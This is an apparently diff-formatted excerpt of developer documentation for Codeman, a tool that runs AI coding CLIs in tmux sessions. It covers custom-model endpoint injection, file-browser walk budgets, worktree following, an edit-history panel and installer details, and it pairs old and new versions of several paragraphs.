Tests: `test/git-clone.test.ts` (pure half exhaustively, plus REAL git against a REAL local bare repo for clone/ref/timeout/cleanup), `test/routes/case-clone-routes.test.ts` (deliberately **unmocked fs**, real clone through the endpoint).
Tests: `test/git-clone.test.ts` (pure half exhaustively, plus REAL git against a REAL local bare repo for clone/ref/timeout/cleanup), `test/routes/case-clone-routes.test.ts` (deliberately **unmocked fs**, real clone through the endpoint), `test/clone-custom-folder-ui.test.ts` (the tab's parent folder, the request and the preview, against the real markup).
Further detail: the synchronous clone request is bounded by `GIT_CLONE_TIMEOUT_MS`.
@@ -620,6 +640,10 @@ Adding the header changed the preamble, so `CODEMAN_PREAMBLE` was bumped (1.22.0
`CODEMAN_DOCKER_DISABLE_SWAP_LIMIT=1` drops `--memory-swap` (and filters only that one kernel warning) for hosts without swap accounting; `--memory` still applies.
⚠️ **`docker/.env` is generated FROM `.env.example`, at 0600, never from a list of keys.** `Start-Codeman.sh`'s first run (only when nothing exists at that path: a dangling symlink or a directory is refused) rewrites the five `KEY=` lines it asks about and copies every other line, because `diffRequiredEnvKeys` refuses an in-app update while the user's file lacks a key the target release's example sets, so a hand-picked subset would block the very next update. Compose's dotenv is not bash: a backslash escapes a single-quoted value's closing quote (measured on 2.33.0 and 5.5.0), so `accept_password` and `accept_appdata_path` refuse a trailing backslash as well as a single quote. Compose also prefers the shell environment over the file, so setup unsets what it wrote, or a preset would beat a typed answer. `test/docker-start-setup.test.ts` pins all of it, against a stub that reproduces both rules.
⚠️ **`changeme` is refused by BOTH scripts**, before anything is built or stopped: the container publishes on every interface and holds the Docker socket, so that password is host root. `Update-Codeman.sh` needs its own check, ahead of its `down`, because a refusal found only at the handoff to `Start-Codeman.sh` would leave the stack stopped.
⚠️ The deployment ALSO self-updates in place (the repo bind mount at `/opt/codeman` + a restart-by-exiting supervisor) — see Self-update and `docs/docker-self-update.md` before touching `server.Dockerfile`, the compose file or `.env.example`, since each is an input to the updater's environment gate. User guides: `docs/docker-compose.md` + `docker/README.md`.
### DeepSeek web UI
@@ -638,7 +662,7 @@ Adding the header changed the preamble, so `CODEMAN_PREAMBLE` was bumped (1.22.0
⚠️ The actual per-CLI redirect is `capabilities.customModelInjection` on the CLI registry (four kinds: `env` for claude/gemini/copilot, `configContentEnv` reusing opencode's existing `OPENCODE_CONFIG_CONTENT`, `configDir` for codex/pi/grok/omp/deepseek, writes an isolated per-session config file, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config/dsh home; deepseek's redirect is a per-session `DSH_HOME` holding only the generated `cordis.patch.yml`, whose `linkFromRealHome` recipe field symlinks `profiles`/`sessions`/`settings.yaml` back out of the real dsh home (resolved session-`DSH_HOME`-first, lstat-guarded so a dangling link survives re-apply) instead of stranding them, and `unsupported` for antigravity, which has no known mechanism), computed by the pure `custom-model-injection.ts` (mirrors `session-cli-builder.ts`'s no-IO discipline). ⚠️ `PI_CONFIG_DIR` does NOTHING for pi or omp (grepped pi's entire bundled JS source, the string appears nowhere); both hardcode `~/.pi/agent/models.json` / `~/.omp/agent/models.yml` with no dedicated override, so the real redirect for both is the child process's own **`HOME`**, and both need `models` as an ARRAY of `{id}` objects (an object keyed by id silently loads zero models). Grok's real mechanism turned out to be a `config.toml` `[model.<name>]` block redirected via `GROK_HOME`, its original env-var-based recipe was flat-out wrong (produced "Not signed in" against a real binary), not just unverified.
⚠️ **Two launch paths, chosen by mechanism, not preference**: opencode/codex/gemini/pi/grok/deepseek/omp apply the selection ONE-SHOT, before the session/process ever exists, with no restart at all; claude alone still applies a selection by **restarting the session's CLI process in place** via `Session.restartCli()`, a de-restricted `reattachRemote()` reusing the same `respawn-pane -k` primitive local/remote respawns already share, because every one of these harnesses reads its endpoint config at process start, never per-turn, so there is no live hot-swap; `Session.setCustomModel()` undoes the PREVIOUS selection's env keys (and deletes its old `configDir`) before merging the new ones in, so switching endpoints or clearing back to native cloud never leaves a stale key behind. ⚠️ Deleting a key from `_envOverrides` is NOT enough on its own: `tmux setenv` persists at the tmux-session level and is inherited by `respawn-pane` (measured: `setenv FOO bar` survived two successive `respawn-pane -k`), so the retired keys are queued (`_pendingEnvUnsets`) and ride `RespawnPaneOptions.unsetEnvKeys` into `applyEnvOverrides()`, which `setenv -u`s them BEFORE re-applying the live overrides. ⚠️ `restartCli()` relaunches a CLI in an existing pane, so a CLI whose launch declares a `fallback` chain (claude) gets a conversation pinned as `resumeSessionId` for that one respawn: `--session-id <id>` refuses an id that already has a transcript (`Session ID ... is already in use`), and without the `--resume <id> || --session-id <id>` shape the docker/remote pane commands already use, applying a model killed the pane and lost the session. The dead-pane respawn shares this pin, see [Dead-pane respawn: the resume pin](#dead-pane-respawn-the-resume-pin). ⚠️ pi, omp and grok need the config file AND a `model` launch param (`custom/<id>` for pi/omp, grok's `[model.codeman-custom]` block name), and codex gets one too (`--model <bare modelId>`, its pattern changed to `model-plain-colon`, which admits qwen3-style colon ids and requires a letter or digit first, for the native App Settings Codex model too): that is the registry's `customModelInjection.launchModel` template, applied onto the respawn options through `legacyConfigField` by `_withCustomModelLaunchModel()`, never by id, and a model id the CLI's `model` token pattern cannot carry is refused with a 400 rather than silently dropped by the argv engine. ⚠️ Remote (SSH) and Docker sessions are REFUSED (400): their `restartCli()` reattaches a durable tmux rather than restarting the agent and the env lands on the local pane, so they used to report `restarted:true` and change nothing. The selection survives a Codeman restart as the disk-only `__customModel` (bookkeeping: env KEYS, config dir, launch model; never the values, which carry the API key and are re-derived from the endpoint store on recovery), the config dir is removed with the session, and every secret-bearing file (`custom-model-hosts.json`, the per-session config dir) is written 0600.
⚠️ **Two launch paths, chosen by mechanism, not preference**: opencode/codex/gemini/pi/grok/deepseek/omp apply the selection ONE-SHOT, before the session/process ever exists, with no restart at all; claude alone still applies a selection by **restarting the session's CLI process in place** via `Session.restartCli()`, a de-restricted `reattachRemote()` reusing the same `respawn-pane -k` primitive local/remote respawns already share, because every one of these harnesses reads its endpoint config at process start, never per-turn, so there is no live hot-swap; `Session.setCustomModel()` undoes the PREVIOUS selection's env keys (and deletes its old `configDir`) before merging the new ones in, so switching endpoints or clearing back to native cloud never leaves a stale key behind. It also puts back what the session had set itself under an injected key (`CustomModelBookkeeping.ownEnv`, read after the undo so a switch carries it across): an own `DSH_HOME` or `CLAUDE_CONFIG_DIR` used to be deleted with the injected value, which moved the session to the server's tree or the default Claude account. ⚠️ `ownEnv` can hold a credential in memory, so `getCustomModelForPersist()` writes only its `homeEnvVar` entry, and only as an absolute path (the registry types that name as any env var, so a `clis.json` override can point it at a credential), which it must write because the selection overwrote the tmux `setenv` that was the only other copy. `_restoreCustomModel()` always states `ownEnv` (empty for an older record) after `clampEnvOverridesForOwner()`: after a restart `_envOverrides` holds what the previous run INJECTED, and reading that as the session's own would pin it to a directory the clear deletes. The re-apply's real-home lookup has the same rule: the route reads `Session.ownEnvValue()` and recovery that clamped record (probed under the bulk cap, since it walks every saved session), never `envOverrideValue()`, so an entry the own home lacks is skipped rather than filled from the server's home. Quick-start hands the `Session` constructor the caller's overrides alone so `setCustomModel()` can see them. ⚠️ Deleting a key from `_envOverrides` is NOT enough on its own: `tmux setenv` persists at the tmux-session level and is inherited by `respawn-pane` (measured: `setenv FOO bar` survived two successive `respawn-pane -k`), so the retired keys are queued (`_pendingEnvUnsets`) and ride `RespawnPaneOptions.unsetEnvKeys` into `applyEnvOverrides()`, which `setenv -u`s them BEFORE re-applying the live overrides. ⚠️ `restartCli()` relaunches a CLI in an existing pane, so a CLI whose launch declares a `fallback` chain (claude) gets a conversation pinned as `resumeSessionId` for that one respawn: `--session-id <id>` refuses an id that already has a transcript (`Session ID ... is already in use`), and without the `--resume <id> || --session-id <id>` shape the docker/remote pane commands already use, applying a model killed the pane and lost the session. ⚠️ The pin looks in `<isolated>/projects`, so `linkSharedProjectsDir()` links it from the session's own `CLAUDE_CONFIG_DIR` when it has one (`guardSessionConfigDirHome()` covers `configDirVar` too): the server's tree would hide the conversation on apply and leave the endpoint's transcript behind on clear. The dead-pane respawn shares this pin, see [Dead-pane respawn: the resume pin](#dead-pane-respawn-the-resume-pin). ⚠️ pi, omp and grok need the config file AND a `model` launch param (`custom/<id>` for pi/omp, grok's `[model.codeman-custom]` block name), and codex gets one too (`--model <bare modelId>`, its pattern changed to `model-plain-colon`, which admits qwen3-style colon ids and requires a letter or digit first, for the native App Settings Codex model too): that is the registry's `customModelInjection.launchModel` template, applied onto the create and respawn options through `legacyConfigField` by `_withCustomModelLaunchModel()`, never by id and never onto the stored `<Mode>Config` (that config is what a clear falls back to; the quick-start route used to write the launch model there, so a clear relaunched the endpoint's id on the native backend), and a model id the CLI's `model` token pattern cannot carry is refused with a 400 rather than silently dropped by the argv engine. ⚠️ Remote (SSH) and Docker sessions are REFUSED (400): their `restartCli()` reattaches a durable tmux rather than restarting the agent and the env lands on the local pane, so they used to report `restarted:true` and change nothing. The selection survives a Codeman restart as the disk-only `__customModel` (bookkeeping: env KEYS, config dir, launch model, `homeEnvVar` and the session's own home path; never an injected value, which carries the API key and is re-derived from the endpoint store on recovery, and never any other own value), the config dir is removed with the session, and every secret-bearing file (`custom-model-hosts.json`, the per-session config dir) is written 0600.
⚠️ **Security**: every env var this feature can redirect (`ANTHROPIC_BASE_URL`, `GOOGLE_GEMINI_BASE_URL`, `CODEX_HOME`, `GROK_HOME`, `HOME` for pi/omp, `OPENCODE_CONFIG_CONTENT`, etc.) is in that CLI's `privilegedEnvKeys` — several of these were reachable via the generic `envOverrides` field's prefix allowlist BEFORE this feature existed (the env allowlist is global and prefix-based, not per-CLI-scoped), so building this surfaced and closed a pre-existing gap rather than opening a new one. `ANTHROPIC_*` is deliberately NOT in claude's `allowedPrefixes` at all — Anthropic-traffic redirection can only happen through this feature's own admin-configured, SSRF-guarded route, never a plain client-supplied `envOverrides`.
@@ -734,9 +758,33 @@ Frontend `readmymind-ui.js`: header 🧠 marker-hidden (`btn-readmymind--hidden`
⚠️ **A query turns that endpoint into a FLAT match list rather than a nested tree**, and the walk deliberately recurses past non-matching directories, since the whole point of searching is to reach a file whose ancestors do not match. An empty or whitespace-only query compiles to `null`, which is what keeps the default tree response byte-identical when no search is requested.
⚠️ **Both walks are a per-directory round-robin (breadth-first) over ONE 5,000-node budget.** They used to recurse depth-first through name-sorted folders, so an early folder could spend the whole budget: 4 of 57 top-level folders were shown in one real workspace. Each round divides what is left equally among the directories queued so far, and a folder's own files count as one more share beside the subfolders it has just found (`walkTurnEnd()`). Those subfolders are read in a later round, so a folder that spent all of its share on its own files left them nothing, alone in its round or beside a sibling, and search hits inside them were lost. A turn that found no subfolder holds nothing back. That is fair per directory, not per subtree: a folder of thousands of one-file subfolders still crowds out its neighbours one level down (`a/b/c/d/needle.ts` beside such a `z/` is found depth-first and missed here), and that trade is accepted, since a file browser wants the shallow levels first. Search results therefore arrive shallow-first.
⚠️ **The budget caps what a listing returns, never what it reads.** Taking turns means opening every folder found so far, where the depth-first walk stopped reading soon after its budget ran out, and a share of 16 entries costs the same read as a share of 5,000. So `readWalkFolder()` keeps only what the listing can use (the entries it lists, sorted, no more than the budget has left, with `more` recording that it dropped some: such a cursor stays queued and is flagged), and `MAX_WALK_ENTRIES_READ` (250,000) stops opening folders. The folder that crosses that line is read whole, as any folder always was, the ones not opened yet wait in `unread` and are flagged, and what was already read keeps its turns. Without the two, 100 folders of 50,000 files cost one GET 5 million entries and a 400 MB heap died (which ends the server, not the request). The price is that folders adding up to the ceiling leave later ones unread: flagged, not hidden, but not the fairness the budget gets, and a depth-first walk over the same tree showed less.
⚠️ **A folder below the walk's root is probed before it is read** (rule #516), because the round-robin reaches folders the depth-first walk stopped short of, each with an unbounded `readdir`. It is a bulk scan, so default options and the stall cap apply. `unknown` is never `absent`, so a folder the probe could not answer for goes on `unread` (`cursor.unanswered`), which flags it `incomplete` and sets `truncated`: a healthy mount that merely took longer than `PATH_PROBE_TIMEOUT_MS` on first touch would otherwise list as empty, and a search would miss it in silence. It stays unread until a later listing asks again. Only `absent` or `file`, a folder that left while the walk ran, drops out with no flag. With the cap engaged (two unrelated paths stalled, by default) every folder below the root is flagged, until one answers, which is the honest outcome: none of them was read. The root is not probed: a refused probe there would blank a healthy workspace. A `readdir` that fails after a good probe (permission denied) is still treated as an empty folder, as it always was.
⚠️ A directory gets its node, with `children: []`, when it is counted and is read in a later round, so every cursor still queued after the loop, and every one in `unread`, is a folder that is unread or half read: it must carry `incomplete: true` or it reads as an empty folder, the failure that went from 0 to 635 such folders before the flag existed. `renderFileBrowserTree` draws one dim, inert row under it while it is expanded, worded to fit either reason, and the row is not a `.file-tree-item`, so the click wiring leaves it alone. The budget check inside the round runs BEFORE each `shift()`, so a directory the round skips stays queued and keeps its flag. Hidden and excluded entries are dropped at the read, so they never leave a folder looking unfinished, but a folder found as the budget ended is flagged unread even if it would have turned out to be empty: only reading it could tell. The walk's root has no node, so `truncated` is its only signal, and a folder dropped at the depth cap is not flagged: it looks the same as it always has.
⚠️ **Globs are never compiled into a RegExp**: `*a*a*a…` translated to `^.*a.*a.*a…$` is a classic backtracking blowup evaluated synchronously against every walked path, so one pathological query would freeze the event loop for the whole server (the same reason `search-service.ts` is regex-free). `globMatch()` is a two-pointer wildcard walk instead, O(text · pattern) with both operands short by construction, and an overlong query (`MAX_QUERY_LENGTH`, 256) also compiles to `null` rather than running.
Matching semantics: a query containing `/` matches the relative path, otherwise the bare entry name; globs match anchored and case-insensitively (`*` spans any run, slashes included, `?` exactly one character), everything else is a plain case-insensitive substring.
Matching semantics: a query containing `/` matches the path relative to the folder being walked (`workingDir`, or the worktree of a `root=live` listing; the returned `path`s stay relative to `workingDir` either way), otherwise the bare entry name; globs match anchored and case-insensitively (`*` spans any run, slashes included, `?` exactly one character), everything else is a plain case-insensitive substring.
### Files panel in a worktree
**Files panel in a worktree** (#765, `src/live-worktree.ts`, `root=live` on `GET /api/sessions/:id/files`): Claude Code's EnterWorktree moves the running process into `<repo>/.claude/worktrees/<name>`, while `Session.workingDir` is the session's identity and stays on the main checkout, so the panel kept listing a tree the agent had left. `paneCwd` does follow, in both directions, because tmux reads the process cwd (measured on 2.1.318). Hook payloads are the wrong signal: their `cwd` follows every `cd` in a Bash call too.
When `paneCwd` changes, `refreshLiveWorktree()` (server.ts) runs `findLiveWorktree()`, which walks up from the pane and recognises a linked worktree by its `.git` FILE (`gitdir: .../worktrees/<id>`). It never runs git, since this fires from the pane watcher and a file read starts no process, config or filter. The walk stops at `workingDir`, at a repository or submodule of its own and at anything it cannot read; probes are bounded (#516), and a `.git` that is a symlink or a FIFO is refused before anything opens it. The answer is published as `SessionState.liveWorktree`. A plain subfolder is deliberately no answer, or a `cd` in a shell would re-root the panel.
⚠️ **That answer is lexical and goes stale.** It is judged only when the pane moves, and a symlink can take the place of the folder, or of a parent, afterwards without moving the pane, while `probePathKind()` and `readdir` both follow one. So `root=live` checks again on every request: `canWalkLiveWorktree()` (file-routes.ts) probes the folder, resolves it and `workingDir`, and the walk starts at the worktree only when that resolves strictly inside the resolved `workingDir`; otherwise it starts at `workingDir`, as it does for a worktree that has gone. The 1.49.0 release review reproduced the escape end to end on tmux 3.4: without this check a symlink swapped in after the lookup listed the names and sizes of a folder outside the workspace, though `file-content` and `file-raw` refused those paths. The root is the only place this can happen, because the walk does not follow a symlink below it (`Dirent.isDirectory()` is false for one). A swap between the check and the `readdir` is the same check-then-use race any path route accepts.
⚠️ **Only the check uses resolved paths.** The walk keeps the session's spelling, or a workspace reached through a symlink stops producing paths relative to `workingDir`, and the listing's `path`s stop working on the file routes.
⚠️ `liveWorktree` only moves where a listing STARTS, so never make it a confinement root. Returned `path`s stay relative to `workingDir`, which is why `file-content`, `file-raw` and the edit route need nothing new. Serving a worktree outside the folder (`git worktree add ../feature`) would need a second root, so those stay unfollowed, and so does a worktree of a session started below the repository's top, because Claude Code puts it at the top, outside the session's folder.
⚠️ A listing reports `worktree` whichever folder it walked, even when the worktree has gone or the check refused it: `_followFileBrowserWorktree()` compares that report with the session's state, and an absent report would reload forever.
Two surfaces do not move with it. The Git panel keeps working from `workingDir`, so it shows the main checkout's branch while the strip names the worktree. And `POST /api/sessions/:id/html-view` applies its dot-segment rule below `workingDir`, so while the session's folder is the main checkout a page under `.claude/worktrees/<name>` is refused and opens as source (a session started in the worktree renders it). Tests: `test/live-worktree.test.ts`, `test/routes/file-routes-live-worktree.test.ts`, `test/file-browser-worktree.test.ts`.
### Raw file bodies: streamed and range-aware
@@ -752,7 +800,7 @@ Matching semantics: a query containing `/` matches the relative path, otherwise
### Edit history panel
**Edit history panel** (issue #643; `showEditHistory`, per-device, default OFF): which files a local claude session edited (main agent and subagents), each edit's diff, and images a Bash call produced, read from the session's transcripts by byte offset, never from git. Parser `src/edit-history-parse.ts` (pure), store `src/edit-history-store.ts`, reader `src/edit-history-local-source.ts`, sync `src/web/edit-history-sync.ts`, routes `src/web/routes/edit-history-routes.ts` (`GET /api/sessions/:id/edits[?sync=1]`, `GET …/edits/:entryId`, `POST …/edits/older`, all through `findSessionOrFail` WITH `req`), panel `edit-history-ui.js`. User guide: `docs/wiki/Working-With-Files.md` § Edit history.
**Edit history panel** (issue #643; `showEditHistory`, per-device, default OFF): which files a claude session edited, local or remote SSH (main agent and subagents), each edit's diff, and images a Bash call produced, read from the session's transcripts by byte offset, never from git. Parser `src/edit-history-parse.ts` (pure), store `src/edit-history-store.ts`, reader `src/edit-history-local-source.ts` (remote: `remoteLocateClaudeTranscript` / `remoteReadClaudeEditSources` in `src/remote-files.ts`), sync `src/web/edit-history-sync.ts`, routes `src/web/routes/edit-history-routes.ts` (`GET /api/sessions/:id/edits[?sync=1]`, `GET …/edits/:entryId`, `POST …/edits/older`, all through `findSessionOrFail` WITH `req`), panel `edit-history-ui.js`. User guide: `docs/wiki/Working-With-Files.md` § Edit history.
⚠️ **Reads only on request, opt-in all the way down.** `server.ts` builds the `EditHistorySync` and hands it to the routes; its only own calls are `remove` (through `forgetEditHistory`, when the session's persisted record goes), `sweep` (startup) and `flushAll` (shutdown). No hook, no timer, no second watcher. The panel drives every read: `?sync=1` when it opens, and while it is open on that session a debounced (600 ms) re-read after a `transcript:tool_end` of an edit-capable tool (Edit, Write, MultiEdit, NotebookEdit, Bash, Agent, Task, SendUserFile), which the existing `TranscriptWatcher` already broadcasts, or the session's `session:idle` (the end of a turn, via `_onSessionIdle`; it also catches a background subagent that writes after the tool end that started it). Not `transcript:complete`: it fires on a `result` line, which claude's interactive transcript never has. A closed panel reads nothing and keeps no badge. Guarded by the "reads only on request" wiring test in `test/edit-history-sync.test.ts`.
@@ -762,11 +810,15 @@ Matching semantics: a query containing `/` matches the relative path, otherwise
⚠️ **The store holds secrets.** Every diff an agent wrote ends up in `dataPath('edit-history')/<sessionId>.json`, API keys and `.env` contents included. It is written 0600 via tmp + rename (a fresh file each time, so an existing store never keeps wider bits; a new directory is created 0700) and bounded per session: `MAX_ENTRIES` (500) and `MAX_STORE_BYTES` (4 MiB of diff text, paths and ids), oldest dropped, also on load. Each edit's diff is capped at `MAX_HUNK_BYTES` (64 KiB); the file also holds one cursor per transcript file of the current conversation, at most `MAX_PENDING_BASH` (200) unanswered Bash calls of at most 8,192 characters of command text each (a call with an id, cwd or agent id over 4,096 characters is not kept, and dropped on load) and `MAX_AGENTS` (501) subagent labels of at most 1,024 characters per string. `load()` takes the file as untrusted: one over `MAX_FILE_BYTES` (32 MiB) is not parsed, and the rest is rebuilt from its known fields under the same bounds (unknown fields and non-string diff lines dropped, the per-edit cap applied again, a transcript id with anything but `[A-Za-z0-9._-]` dropped, since the previous transcript's path is built from it). Writes are serialized. The store lives as long as the session's persisted record: `forgetEditHistory` runs when `cleanupSession` with `killMux` removes the record (a pinned session's record is only demoted and keeps its history), on the persisted-only `DELETE /api/sessions/:id`, for every record `cleanupStaleSessions` drops at startup and every one `POST /api/cleanup-state` drops. After that startup cleanup, `sweep` deletes the `edit-history/*.json` files whose session is neither live nor recorded (left behind by a crash between removing the record and deleting the file, or by an older build) and tmp files of earlier runs (named per process start, so a pid used again, a container's pid 1, does not keep one). While `remove()` runs, nothing writes the file again: a sync in flight stops after its current read, and a request meanwhile reads nothing (`unavailable` / `removed`). The routes start a sync in the same tick as their session check, so a request that passed the check before the deletion cannot start one afterwards. Then the session's slot goes, and a session that comes back with the same id (reboot restore re-creates it) starts afresh. A store that is not loaded is deleted without being parsed. The store is blocked in `isSensitivePath` (`/.codeman*/edit-history/`, same reasoning as `intents.json`) and never fed to `/api/search`.
⚠️ **Images only through existing file surfaces.** A Bash image candidate counts only when the file's mtime lies in the call's window (start − 2 s … end + 2 s) and no entry already covers that file version; `SendUserFile` images need no window. The panel shows a thumbnail only inside the workspace, through the confined `file-raw` route. An image outside it gets no thumbnail (each would mint an attachment id per render); a click opens the shared file preview, which registers it once through `POST /api/sessions/:id/attachments` with `notify: false` (its extension allowlist and `isSensitivePath` apply). SVGs get no thumbnail. No route of this feature serves a file, least of all a transcript path.
⚠️ **Images only through existing file surfaces.** A Bash image candidate counts only when the file's mtime lies in the call's window (start − 2 s … end + 2 s) and no entry already covers that file version; `SendUserFile` images need no window. The panel shows a thumbnail only inside the workspace, through the confined `file-raw` route. An image outside it gets no thumbnail (each would mint an attachment id per render); a click opens the shared file preview, which registers it once through `POST /api/sessions/:id/attachments` with `notify: false` (its extension allowlist and `isSensitivePath` apply). SVGs get no thumbnail, and neither does any image of a remote session (its `file-raw` streams over ssh, one read per listed row); a click previews it. No route of this feature serves a file, least of all a transcript path.
⚠️ **Transcript paths are agent-printed, so they are probed BOUNDED and scanned in linear time** (#516; #693 review). `probeLocalPaths()` sends each candidate through `probePathKind()` (no `pastCap`: a bulk scan), one at a time, and only a path that answered `'file'` gets `realpath` + `stat`; a path on a mount that stopped answering costs one stalled stat, never a sync, a queued sync or `remove()` that cannot finish (`test/edit-history-probe-stall.test.ts`). `PATH_TOKEN_RE` runs synchronously in the request, over Bash output of up to 30,000 characters: an unquoted token may start only at a token boundary (line start or a token-ending character, `:` excluded so URLs stay ignored), and the `file://` branch stops at the next `file://` (`:` stays allowed for timestamped names). A lookbehind that merely excludes some characters lets a match start at every character of a long token and rescan it, quadratic in the line (2.7 s for 30,000 `#`). Time-budget regression tests in `test/edit-history-parse.test.ts`. Forward reads and "Load older" yield to the event loop between the files they parse (up to 8 MiB each); a store removed meanwhile ends the read before its images are probed. Remote, Docker and non-claude sessions never load a store on any route.
⚠️ **Transcript paths are agent-printed, so they are probed BOUNDED and scanned in linear time** (#516; #693 review). `probeLocalPaths()` sends each candidate through `probePathKind()` (no `pastCap`: a bulk scan), one at a time, and only a path that answered `'file'` gets `realpath` + `stat`; a path on a mount that stopped answering costs one stalled stat, never a sync, a queued sync or `remove()` that cannot finish (`test/edit-history-probe-stall.test.ts`). A remote session's candidates go through `remoteProbePaths()` instead, one bounded ssh round trip per 40 paths; a failed probe ends the probing for that read, and its edits stay in. `PATH_TOKEN_RE` runs synchronously in the request, over Bash output of up to 30,000 characters: an unquoted token may start only at a token boundary (line start or a token-ending character, `:` excluded so URLs stay ignored), and the `file://` branch stops at the next `file://` (`:` stays allowed for timestamped names). A lookbehind that merely excludes some characters lets a match start at every character of a long token and rescan it, quadratic in the line (2.7 s for 30,000 `#`). Time-budget regression tests in `test/edit-history-parse.test.ts`. Forward reads and "Load older" yield to the event loop between the files they parse (up to 8 MiB each); a store removed meanwhile ends the read before its images are probed. Docker and non-claude sessions never load a store on any route.
Paths, agent descriptions and diff lines render via `textContent` only (browser test with a hostile path). The header button uses the marker-class pattern (`btn-edit-history--hidden`) and stays off phones (`mobile.css`, locked in `test/mobile-header-buttons-policy.test.ts`). Remote, Docker and non-claude sessions answer `unsupported` and are never read.
Paths, agent descriptions and diff lines render via `textContent` only (browser test with a hostile path). The header button uses the marker-class pattern (`btn-edit-history--hidden`) and stays off phones (`mobile.css`, locked in `test/mobile-header-buttons-policy.test.ts`). Docker, non-claude and adopted sessions answer `unsupported` and are never read.
⚠️ **Remote (SSH) sessions: read over ssh, never woken.** The sync stays path-based; its deps get the session, and `server.ts` routes them to the local reader or to `remote-files.ts`. `transcriptPath` is one ssh round trip (`buildRemoteClaudeTranscriptLocateCommand`): first the conversation the claude process in the session's remote pane writes now (its `<config dir>/sessions/<pid>.json`, found through the pane's process tree, since a remote host sends Codeman no hooks), else the most recently written `<config dir>/projects/*/<id>.jsonl` of the stored history's conversation, `<claudeSessionId>` and `<id>` (`remoteTranscriptIds`; nothing moves `claudeSessionId` after a remote `/clear`, and no fixed order is right both after a `/clear` and after a respawn that resumed the launch conversation); the result is an absolute path on the host. A read pass is one more round trip (`buildRemoteClaudeEditSourcesCommand`), or several with more than 300 subagent requests (below), with the local reader's semantics: offset clamped to the size, a block with `len` ends at `offset + len`, a new file reads its tail, one budget shared main-first, `onlyRequested` for "Load older", at most 8 KiB of `meta.json` per subagent (within a 4 MiB meta budget per read, which the local reader does not have: a meta comes only with a subagent's first read, so one past the budget is never sent and that subagent shows its id instead of its description). `test/remote-edit-sources.test.ts` runs both scripts on a real `sh` against a temp `$HOME` and compares the read byte for byte with `readClaudeEditSources` on seeded random transcripts, so `/clear` catch-up, "Load older", cursors and the store LRU behave remotely as locally. Every request value reaches the script only after validation (id `[A-Za-z0-9._-]`, relPath `main` or `subagents/agent-<id>.jsonl`, integer offsets) and shellescaped; the scripts run under `sh -c` with `LC_ALL=C`. The config dir is an absolute `CLAUDE_CONFIG_DIR` of the ssh command's environment, else `$HOME/.claude` (claude's own rule); the remote claude runs under `$SHELL -i -l -c`, the lookup under a plain `sh`, so a value set only in a login or interactive profile (`.profile`, `.bash_profile`, `.zshrc`) is not seen. A round trip's timeout grows with its byte cap (`remoteEditSourcesTimeoutMs`: 30 s plus the transfer at 256 KiB/s), since a forward pass may carry 13 MiB and "Load older" 29 MiB. ⚠️ **Never wakes:** the lookup and the reads go through `buildRemoteEditHistoryCommand` (`buildRemoteFileCommand` with `exec`, so a timeout reaches ssh and not only the local `sh -c`, which on dash stays its parent), the image probes through `remoteProbePaths`, and all of them through `runWithRemoteSshLimit` (`ConnectTimeout=10`), so a sleeping host is a connect timeout and the panel shows `unavailable` with the stored entries; the edit-history read path reaches neither `remote-wake.ts` nor `session-routes.ts`, even transitively (guard in `test/remote-edit-sources.test.ts`). Without hooks there is no `transcript:tool_end`, so an open panel re-reads on `session:idle` and the refresh button only.
⚠️ **A read with more than 300 subagent requests spans several round trips** (`planRemoteEditSourceRounds`, `EDIT_SOURCE_REQUESTS_PER_ROUND_TRIP`). The script is one argument of the ssh line, Linux caps a single argv string at 128 KiB (`E2BIG` at about 1000 subagents), the cursors have no cap and the stored conversation is read first, so one script for all of them left a long history `unavailable`, and not even a `/clear` got past it. The cut is by NAME RANGE, not only by count: the script takes a file no `case` line names for a new one (its tail, its meta), so plain groups would read each other's files as new. Each round trip walks only the names between its cuts (one `awk` per round trip, never a fork per file), so a new file lands in exactly one range. Main comes with the first round trip, budget and meta budget carry over, and a later round trip still lists its files, because a requested file missing from the result loses its cursor. A failed round trip fails the whole read and nothing of it reaches the store; each one takes its own limiter slot. The merged result equals the local reader's, byte for byte (the fuzz test cuts every read at a random size). A read of up to 300 runs no `awk` at all. ⚠️ No `case` inside a `$(…)`: bash 3.2, macOS `sh`, cannot parse it, which is why the names come from a shell function.
### Config backups
@@ -1297,6 +1349,16 @@ Its CLI knowledge is a GENERATED block (`npm run generate:cli-catalog`, markers
⚠️ It executes ONLY commands from the embedded block (`CLI_INSTALL_CMD_TRUSTED`) — there is no network fetch of the catalogue at install time to worry about at all.
**No-admin route** (`--no-admin` / `CODEMAN_NO_ADMIN`, 2026-11-05). Everything Codeman writes was always under `$HOME`; administrator rights were only ever spent on prerequisites. `resolve_admin_mode` decides once per run whether those rights may be asked for: root yes; a Mac account outside the `admin` group no (unless a Homebrew it can write to exists); on Linux no without a `sudo` binary, or when the account is outside `sudo`/`wheel`/`admin` AND `sudo -n true` fails. ⚠️ It is never decided by `sudo -v`: that prompts, and a refused password from an account outside sudoers is reported to the administrator. A refused password on the system route offers this route instead of ending the run (`sudo_session_try`). ⚠️ The group test is a judgment, not a fact: no probe can read sudoers without reporting to the administrator, so an account sudoers lists by name, with a password, lands here too. `NO_ADMIN_REASON` must therefore say the rights could not be confirmed (`NO_ADMIN_UNCONFIRMED`), never that the account may not use `sudo`, and every message that ends or sums up the route carries `no_admin_override_hint`, which names `CODEMAN_NO_ADMIN=0` for that reason alone (`--no-admin` asked for the route; a `sudo` that is missing or refused has no way back).
On this route Node.js comes from nodejs.org (`latest-v<major>.x/SHASUMS256.txt` names the tarball AND carries its checksum, one fetch, no JSON parsing) into `~/.codeman/runtime/node`, and tmux from the tmux project's `tmux-builds` release into `~/.codeman/runtime/bin`. ⚠️ `tmux-builds` publishes no checksum file, so `tmux_build_sha256` pins all four digests of `TMUX_BUILD_VERSION`; bump the version and the digests together (the GitHub release API returns them as `digest`). ⚠️ A download is verified BEFORE it is unpacked or run, and an empty expected digest never passes. `node`, `npm`, `npx` and `tmux` are linked from `~/.local/bin` (`link_into_local_bin` refuses to replace a file that does not already point into the runtime, and uninstall removes only such links): the `codeman` launcher is `#!/usr/bin/env node`, and a non-interactive shell never reads the PATH line written to an interactive profile. The runtime's `node/bin` also goes on PATH and on the LaunchAgent's `svc_path`, since `npm install -g` puts AI CLIs beside that Node.js.
